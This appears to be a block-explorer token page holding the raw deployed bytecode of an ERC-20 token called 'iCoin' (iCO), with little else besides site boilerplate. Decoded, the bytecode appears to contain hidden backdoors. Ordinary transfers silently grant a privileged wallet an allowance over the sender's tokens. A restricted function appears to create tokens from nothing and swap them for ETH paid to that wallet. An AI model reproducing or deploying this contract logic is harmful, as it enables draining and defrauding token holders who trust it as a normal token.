0x6080604052600436106100f2575f3560e01c806349bd5a5e116100895780638da5cb5b116100585780638da5cb5b146102c657806395d89b41146102f0578063a9059cbb1461031a578063dd62ed3e14610356576100f2565b806349bd5a5e1461023457806370a082311461025e578063715018a61461029a57806389c06bb0146102b0576100f2565b806318160ddd116100c557806318160ddd1461019a57806323b872dd146101c4578063293230b814610200578063313ce5671461020a576100f2565b806306b50197146100f657806306fdde031461011e578063095ea7b3146101485780630fdeb29214610184575b5f80fd5b348015610101575f80fd5b5061011c60048036038101906101179190611b4c565b610392565b005b348015610129575f80fd5b506101326104a4565b60405161013f9190611be7565b60405180910390f35b348015610153575f80fd5b5061016e60048036038101906101699190611c61565b6104e1565b60405161017b9190611cb9565b60405180910390f35b34801561018f575f80fd5b506101986104f7565b005b3480156101a5575f80fd5b506101ae610575565b6040516101bb9190611ce1565b60405180910390f35b3480156101cf575f80fd5b506101ea60048036038101906101e59190611cfa565b61057e565b6040516101f79190611cb9565b60405180910390f35b61020861062a565b005b348015610215575f80fd5b5061021e610a72565b60405161022b9190611d65565b60405180910390f35b34801561023f575f80fd5b50610248610a87565b6040516102559190611d8d565b60405180910390f35b348015610269575f80fd5b50610284600480360381019061027f9190611da6565b610aac565b6040516102919190611ce1565b60405180910390f35b3480156102a5575f80fd5b506102ae610af2565b005b3480156102bb575f80fd5b506102c4610c21565b005b3480156102d1575f80fd5b506102da610c9f565b6040516102e79190611d8d565b60405180910390f35b3480156102fb575f80fd5b50610304610cc6565b6040516103119190611be7565b60405180910390f35b348015610325575f80fd5b50610340600480360381019061033b9190611c61565b610d03565b60405161034d9190611cb9565b60405180910390f35b348015610361575f80fd5b5061037c60048036038101906103779190611dd1565b610d19565b6040516103899190611ce1565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ea575f80fd5b5f3090508160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506104975f8284610d9b565b6104a082610f52565b5050565b60606040518060400160405280600581526020017f69436f696e000000000000000000000000000000000000000000000000000000815250905090565b5f6104ed3384846111b2565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610516610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056390611e59565b60405180910390fd5b5f600781905550565b5f600154905090565b5f61058a848484611375565b61061f843361061a8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b6111b2565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610649610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461069f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069690611e59565b60405180910390fd5b600560159054906101000a900460ff16156106b8575f80fd5b6106e63060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546111b2565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611e8b565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108059190611e8b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161083f929190611eb6565b6020604051808303815f875af115801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190611e8b565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061090630610aac565b5f80610910610c9f565b426040518863ffffffff1660e01b815260040161093296959493929190611f1f565b60606040518083038185885af115801561094e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109739190611f92565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a13929190611fe2565b6020604051808303815f875af1158015610a2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a539190612033565b506001600560156101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610b11610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e90611e59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610c40610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90611e59565b60405180910390fd5b5f600881905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f69434f0000000000000000000000000000000000000000000000000000000000815250905090565b5f610d0f338484611375565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610deb8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015610eb657508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610f4d57610f0b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b6001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610f8957610f8861205e565b5b604051908082528060200260200182016040528015610fb75781602001602082028036833780820191505090505b50905030815f81518110610fce57610fcd61208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611072573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110969190611e8b565b816001815181106110aa576110a961208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016111679594939291906121c1565b5f604051808303815f87803b15801561117e575f80fd5b505af1158015611190573d5f803e3d5ffd5b50505050505f600560146101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113689190611ce1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da9061237f565b60405180910390fd5b5f8111611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c9061240d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a9061249b565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561151d575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611576575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115d6576115a360646115956007548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90506115d18360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118f4565b611601565b6115fe60646115f06008548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90505b5f81111561166f573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116669190611ce1565b60405180910390a35b6116bf8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117ee9190611ce1565b60405180910390a350505050565b5f61183d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a52565b905092915050565b5f80828461185391906124e6565b905083811015611861575f80fd5b8091505092915050565b5f80830361187b575f90506118a5565b5f82846118889190612519565b90508284826118979190612587565b146118a0575f80fd5b809150505b92915050565b5f6118ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ab4565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c790612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f838311158290611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a909190611be7565b60405180910390fd5b505f8385611aa791906125b7565b9050809150509392505050565b5f8083118290611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19190611be7565b60405180910390fd5b505f8385611b089190612587565b9050809150509392505050565b5f80fd5b5f819050919050565b611b2b81611b19565b8114611b35575f80fd5b50565b5f81359050611b4681611b22565b92915050565b5f60208284031215611b6157611b60611b15565b5b5f611b6e84828501611b38565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611bb982611b77565b611bc38185611b81565b9350611bd3818560208601611b91565b611bdc81611b9f565b840191505092915050565b5f6020820190508181035f830152611bff8184611baf565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c3082611c07565b9050919050565b611c4081611c26565b8114611c4a575f80fd5b50565b5f81359050611c5b81611c37565b92915050565b5f8060408385031215611c7757611c76611b15565b5b5f611c8485828601611c4d565b9250506020611c9585828601611b38565b9150509250929050565b5f8115159050919050565b611cb381611c9f565b82525050565b5f602082019050611ccc5f830184611caa565b92915050565b611cdb81611b19565b82525050565b5f602082019050611cf45f830184611cd2565b92915050565b5f805f60608486031215611d1157611d10611b15565b5b5f611d1e86828701611c4d565b9350506020611d2f86828701611c4d565b9250506040611d4086828701611b38565b9150509250925092565b5f60ff82169050919050565b611d5f81611d4a565b82525050565b5f602082019050611d785f830184611d56565b92915050565b611d8781611c26565b82525050565b5f602082019050611da05f830184611d7e565b92915050565b5f60208284031215611dbb57611dba611b15565b5b5f611dc884828501611c4d565b91505092915050565b5f8060408385031215611de757611de6611b15565b5b5f611df485828601611c4d565b9250506020611e0585828601611c4d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611e43602083611b81565b9150611e4e82611e0f565b602082019050919050565b5f6020820190508181035f830152611e7081611e37565b9050919050565b5f81519050611e8581611c37565b92915050565b5f60208284031215611ea057611e9f611b15565b5b5f611ead84828501611e77565b91505092915050565b5f604082019050611ec95f830185611d7e565b611ed66020830184611d7e565b9392505050565b5f819050919050565b5f819050919050565b5f611f09611f04611eff84611edd565b611ee6565b611b19565b9050919050565b611f1981611eef565b82525050565b5f60c082019050611f325f830189611d7e565b611f3f6020830188611cd2565b611f4c6040830187611f10565b611f596060830186611f10565b611f666080830185611d7e565b611f7360a0830184611cd2565b979650505050505050565b5f81519050611f8c81611b22565b92915050565b5f805f60608486031215611fa957611fa8611b15565b5b5f611fb686828701611f7e565b9350506020611fc786828701611f7e565b9250506040611fd886828701611f7e565b9150509250925092565b5f604082019050611ff55f830185611d7e565b6120026020830184611cd2565b9392505050565b61201281611c9f565b811461201c575f80fd5b50565b5f8151905061202d81612009565b92915050565b5f6020828403121561204857612047611b15565b5b5f6120558482850161201f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6120ea81611c26565b82525050565b5f6120fb83836120e1565b60208301905092915050565b5f602082019050919050565b5f61211d826120b8565b61212781856120c2565b9350612132836120d2565b805f5b8381101561216257815161214988826120f0565b975061215483612107565b925050600181019050612135565b5085935050505092915050565b5f61218961218461217f84611c07565b611ee6565b611c07565b9050919050565b5f61219a8261216f565b9050919050565b5f6121ab82612190565b9050919050565b6121bb816121a1565b82525050565b5f60a0820190506121d45f830188611cd2565b6121e16020830187611f10565b81810360408301526121f38186612113565b905061220260608301856121b2565b61220f6080830184611cd2565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612273602483611b81565b915061227e82612219565b604082019050919050565b5f6020820190508181035f8301526122a081612267565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612301602283611b81565b915061230c826122a7565b604082019050919050565b5f6020820190508181035f83015261232e816122f5565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f612369601e83611b81565b915061237482612335565b602082019050919050565b5f6020820190508181035f8301526123968161235d565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f6123f7602a83611b81565b91506124028261239d565b604082019050919050565b5f6020820190508181035f830152612424816123eb565b9050919050565b7f4552433a207472616e736665722066726f6d20746865207a65726f20616464725f8201527f6573732100000000000000000000000000000000000000000000000000000000602082015250565b5f612485602483611b81565b91506124908261242b565b604082019050919050565b5f6020820190508181035f8301526124b281612479565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6124f082611b19565b91506124fb83611b19565b9250828201905080821115612513576125126124b9565b5b92915050565b5f61252382611b19565b915061252e83611b19565b925082820261253c81611b19565b91508282048414831517612553576125526124b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61259182611b19565b915061259c83611b19565b9250826125ac576125ab61255a565b5b828204905092915050565b5f6125c182611b19565b91506125cc83611b19565b92508282039050818111156125e4576125e36124b9565b5b9291505056fea264697066735822122044ea36fcf5b5b7dd42e208605ecddb6625d88f2ecc6382f1985abdbbeb1c6e4564736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.